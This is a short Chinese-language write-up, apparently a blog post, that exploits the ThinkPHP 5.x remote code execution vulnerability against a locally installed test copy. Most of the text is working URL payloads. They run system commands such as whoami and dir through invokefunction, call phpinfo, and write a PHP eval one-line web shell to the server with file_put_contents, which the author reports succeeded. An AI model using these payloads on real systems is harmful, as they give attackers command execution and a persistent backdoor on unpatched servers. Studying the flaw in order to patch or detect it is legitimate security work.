thinkphp5.X 远程文件执行漏洞利用

影响版本

Thinkphp 5.x-Thinkphp 5.1.31
Thinkphp 5.0.x<=5.0.23
（thinkphp 5.0 可能不存在漏洞）

试验环境

thinkphp 5.0.20

下载thinkphp 5.0.20 将安装包解压到phpstudy跟目录下

访问http://192.168.43.235/thinkphp/public/index.php

成功

利用

利用system函数远程执行命令
payload

`？s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami`


?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

通过phpinfo函数查看phpinfo()的信息　
Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

通过此漏洞写入一句话木马

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php

（此方法我写入失败）

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[test]);?>

写入成功